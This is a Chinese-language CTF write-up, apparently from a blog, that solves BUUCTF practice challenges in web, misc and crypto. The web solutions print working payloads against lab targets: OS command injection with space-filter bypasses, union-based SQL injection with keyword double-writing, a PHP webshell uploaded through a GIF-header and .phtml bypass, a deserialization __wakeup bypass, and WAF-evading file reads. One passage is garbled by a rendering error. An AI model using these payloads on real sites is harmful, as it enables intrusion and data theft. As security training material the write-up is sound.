BUU
- Web
- 1.[GXYCTF2019]Ping Ping Ping1
- 2.[SUCTF 2019]EasySQL1
- 3.[极客大挑战 2019]Secret File1
- 4.[极客大挑战 2019]LoveSQL1
- -知识点补充
- 5.[极客大挑战 2019]Http1
- 6.[极客大挑战 2019]Knife1
- 7.[极客大挑战 2019]Upload1
- 8.[ACTF2020 新生赛]Upload1
- 9.[极客大挑战 2019]BabySQL1
- 10.[极客大挑战 2019]PHP1
- 11.[ACTF2020 新生赛]BackupFile1
- 12.[RoarCTF 2019]Easy Calc1
- 13.[极客大挑战 2019]BuyFlag1
- MISC
- Crypot
Web
1.[GXYCTF2019]Ping Ping Ping1
首先咱了解一下linux多命令的连接符(管道符)
开始做题 先扫描,直接得到index,flag,尝试连接
000过滤了flag
测 还过滤了空格
补充知识点 绕过空格过滤
linux 过滤空格绕过
${IFS}
${IFS
$IFS$1 1也可以换为其他数字
<
<>
%20
%09
{,} //如{cat,flag}不过这题不能用
一番测试得到$IFSKaTeX parse error: Expected 'EOF', got '#' at position 117: …eb40bb9332b.png#̲pic_center) 1,第…a,构造payload
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
绕过flag过滤,在源码中得到
2,第二种
吧cat flag.php这段命令转为base64编码
Y2F0IGZsYWcucGhw
payload
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
源码中flag
3,第三种
内联执行的方法
所谓内联,就是将反引号内命令的输出作为输入执行
payload
?ip=127.0.0.1;cat$IFS$1`ls`
源码
2.[SUCTF 2019]EasySQL1
大佬对这题的详细解释,目前看不太懂先挂这
easyss
写一个比较能理解的
payload
1;set sql_mode=pipes_as_concat;select 1
pipes_as_concat 把II设置成了concat函数
就是把||换成了连接符的功能,因为分号会隔断代码,再用一个select 1得到回显
3.[极客大挑战 2019]Secret File1
在主页面源码中看到一个超链接 .Archive_room_php
点进secret没有什么东西,先放弃这个方向
考虑抓包 发现了secr3t.php
查看flag.php
啥也没有,base64也没能输出
我们回到secr3t.php 尝试对它base64输出
base64解码得到答案
4.[极客大挑战 2019]LoveSQL1
万能密码
1' or 1=1
123
连接成功
check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1
#在url中要用%23代替,在搜4时候报错,说明只有三个字段
/check.php?username=1' union select 1,2,3%23&password=1
看回显,,得回显位置在2,3
看数据库的名字和版本
check.php?username=1' union select 1,database(),version()%23&password=1
爆数据库的表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
得到两个表 geekuser,l0ve1ysq1
一个个爆字段
看题目lovesql,直接读取l0ve1ysq1表,得到flag
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
-知识点补充
referer伪造
X-Forwarded-For:修改ip
5.[极客大挑战 2019]Http1
拿到题目没啥思路,先抓个包
在这里找到了可疑信息,进入网站查看
添加 referer: https://Sycsecret.buuoj.cn
看到要用Syclover browser(浏览器),修改User-Agent
只能本地访问
X-Forwarded-For: 127.0.0.1
得到flag
6.[极客大挑战 2019]Knife1
咱们之前见到过这种,是一句话木马,在上面放了知识点链接,不太理解,知道个大概
可以用菜刀或者蚁剑,连接
在根目录里寻找到flag
7.[极客大挑战 2019]Upload1
上传文件题目
1.构造上传一句话木马
2.考虑过滤,可以用burp修改文件使生效
3.使用蚁剑连接
先写一个木马,上传发现文件要求图片类型
修改后缀
呦,还不能用<?php>,
<script language='php'>eval([$_POST='123']);</script>
上传后发现还有一层过滤,
图片头文件欺骗
新知识 可以在txt中加上
JPG89a
PNG89a
GIF89a
进行绕过,这个题试了jpg和png,都失败了,用gif才上传成功
对上传的文件要抓包修改后缀为 .phtml才能对网站生效,让一句话木马能够使用
上传成功
咱们可以进入目录中/upload/shell.phtml,查看效果,可以得知已经上传好了
使用蚁剑连接网站
连接成功,在根目录下找到flag
8.[ACTF2020 新生赛]Upload1
这个题跟上面第7差不多,不作详细解释了
这个题想的比较简单,直接把上题的木马上传就用了
上传一个.jpg文件,发现没什么用
上传木马后,得到一个.phtml路径,应该是上传到了这里,进入查看知道上传成功,直接蚁剑连接,根目录找到flag
9.[极客大挑战 2019]BabySQL1
刚开始,尝试万能密码,发现or之后的不能注入,应该存在过滤
联合查询,发现也得绕过,尝试双写绕过
check.php?username=1' ununionion selselectect 1,2,3%23&password=1
爆数据库的版本和名字
check.php?username=1' ununionion selselectect 1,version(),database()%23&password=1
找出所有的库,发现一个ctf
?username=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_
schema.schemata#&password=1
看到ctf库那就先看看他
check.php?username=1%27 ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='ctf'%23&password=1
有一个Flag表
看列,找到flag
check.php?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf'%23&password=1
check.php?username=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag%23&password=1
10.[极客大挑战 2019]PHP1
题目提示有源码,
常见的备份 /.git /.svn /.swp . /~ .bak /.bash_history
www.zip,
使用www.zip下载得到源码
在index.php中找到一段代码,GET传参select,,并对select反序列化
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
再看class.php,_wakeup()会把username赋值为guest,
_destruct()比较变量值,输出flag
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们先写一个脚本输出序列化的值,
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
要绕过_wakeup(),需要让说明的参数个数大于实际的参数个数,我们序列化输出的还有空白方框,也需要传入,使用%00,否则是得不到答案的
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
11.[ACTF2020 新生赛]BackupFile1
backupfile就是备份,后备文件,常见的几种备份尝试后得到,index.php.bak
代码为,GET传入key 判定key值,如果不是纯数字会被die,
intval获取key的整数部分,str为123开头的一串字符
"=="为弱等于,根据php转换规则,str会转为123,,那我们传入key=123即可
12.[RoarCTF 2019]Easy Calc1
输入1’时答案出现异常,说明存在过滤
查看源码时,看到一个calc.php,这里忘截图了,找了个源码图片。。
构造payload,查看源码时知道网站设置了waf防火墙,在num前加了空格,绕过waf
/calc.php? num=2;var_dump(scandir(chr(47)))
var_dump()用来打印
scandir()用来获取目录文件
因为过滤了 / 用ascii值 chr(47)绕过
找到f1lagg
/calc.php? num=2;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
用file_get_contents读取flag
分别用f1agg的ascii码值代替,得到flag
13.[极客大挑战 2019]BuyFlag1
查看源码,得到一段php代码,password不能是纯数字,因为最后弱等于判定,咱们把password=404a即可
post传参抓包,将cookie user=1,password=404a
加上money,100000000,提示过长,考虑科学计数法
再次发送,得到flag
MISC
1.二维码
之前两题做过了,gif分离,不再写wp了
解压文件得到一个二维码,扫描后没有得到有用信息
这里 89 50 4E 47是png开头,AE 42 60 82是png文件的结尾,,50 4B 03 04是zip的开头,14 00是解压文件所需版本,后面是通用标记09 00是加密。0000未加密
在右面发现还有一个4number.txt,怀疑里面还有文件,又看到.PK知道图片里包含着一个zip,找到50 4B 03 04 把前面的删去,另存文件为1.zip
尝试解压,发现4number.txt还有密码,知道应该是四位数字
解压打开即可得到flag
2.你竟然赶我走
解压出来图片,先010找flag,在最后找到答案
3.大白
第二行开头四个是宽的数据,接下来四个是高的数据,题目提示,咱直接修改高度就行了
修改后图片放不上来,就没放了
4.N种方法解决
解压得到一个.exe文件,尝试运行,失败;
拉到010里面看一下,得到关键信息
以data:image/jpg:base64开头的一串编码
猜测是base64转图片,,得到一个二维码,扫描即可得到答案
5.乌镇
附件给了一个图片,还是010打开,在最后找到答案
6.基础破解
题目提示到位,应该是压缩包里包含加密文件
下载后,Advanced Archive Password Recovery
破解压缩包得到密码
得到一串编码,猜测是base64,解码得到flag
7.wireshark
题目提示,账户密码即为flag
Crypot
MD5
在线MD5解密即可
一眼就解密
一眼base64
Url编码
在线url解密
看我回旋踢
看题没思路,搜索synt知道凯撒解密,去凯撒解密枚举得到答案
摩丝
摩斯电码解密~~
password
根据题目,猜测密码为zs19900315,
变异凯撒
在该题的wp中了解到,这题是以ascii码的加密,
afZ_对应flag,位移应该是 4+i (i是对应第几个)
a+4 = f , f+5 =l
跟着博客复现了一个c语言解决
#include<stdio.h>
#include<string.h>
int main()
{
char arr[100];
scanf("%s",arr);
int j=5;
for(int i=0;i<=21;i++)
{
arr[i]=arr[i]+j;
j++;
}
printf("%s",arr);
return 0;
}
Quoted-printable1
新东西,百度得知是一种编码,在线解码即可